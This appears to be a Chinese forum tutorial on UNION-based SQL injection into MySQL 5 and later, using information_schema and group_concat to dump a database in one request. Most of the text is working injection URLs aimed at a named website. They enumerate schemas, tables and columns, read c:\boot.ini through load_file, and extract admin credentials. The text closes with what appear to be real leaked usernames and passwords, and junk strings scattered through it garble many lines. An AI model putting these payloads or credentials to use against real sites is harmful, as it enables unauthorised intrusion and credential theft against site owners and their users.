此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似2 l' y( B# j* K- o3 G% u
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人( M# o0 R1 E3 a* [- H
4 f; E- ]4 J6 _& ~
% d! Q$ [1 ~& P优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
. }: o4 h" e6 ^+ t
) e2 W/ e. _& ?+ B& [- G7 s缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
. r" S+ T+ Y' j# \/ ^
5 e$ b3 S2 v" i下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
0 H% a L1 r) M3 j+ ]在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等2 w% ~$ H) a! R4 e+ [1 s; K
. S7 q* i4 F, m( I1 j% o" e5 Ghttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17- X7 v: O' I; g B: E
@ G" u! g' J1 u' d1 O# b$ R4 r+ D
读出所有库:
5 Z# t/ a8 g" ~$ mhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA6 S/ E$ @2 r: \2 K/ ]# C
9 C: K1 X9 O& [5 k5 ?: E9 H
7 {- y, B Y0 |3 m. [! J1 C3 ~- Z
读出所有表:# ]! a& m8 g" }3 N9 g# H
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()* Y$ _# `. c( r4 a. G- `! v
" |9 L m" s2 _" M8 V$ Y- }读出所有表字段:" a* v3 j! N3 Y
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)' o2 D, z7 G! E& K6 g
*/ (97,100,109,105,110)为admin的ascii码 依次类推7 r4 z' }5 L- g
( @$ l( h; z" }9 P1 ]
读出所有表字段里的内容:9 {+ w- P5 M% e4 M% }
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin+ l. ^: K* c% I) u6 o0 B
" h h. ^5 A) W
& I: t' H1 C. ~" E# V. `! J5 N( Q3 s: ?# W8 _* E9 H9 l7 M
0 j, G4 d3 Y* U& j) G; W
! Z) n3 e( X3 c# S v2 K8 P, N# s; y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
3 I6 ] m3 T2 C0 t! V5 f) }* H5 m# J0 N1 _5 e
, G) \2 f, g$ k# Y+ P& A
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23+ F4 j3 q8 W, e5 Q# R' `
3 r5 `. }9 O* |$ Z5 {$ e
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23/ t9 U& W% h" C. D+ S
m! Q. q# ]1 u( A
* _5 X$ W6 h1 s, s/ v; s
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
2 u3 ^* j$ \/ k f. f5 d( C4 ] t0 ~0 y$ W2 F4 c) P
/ t' B i& Z, @ g" z webmaster:dzb521123,simlab:simadmin20043233
! }0 T; _) V3 p7 l- X2 Y$ |5 G |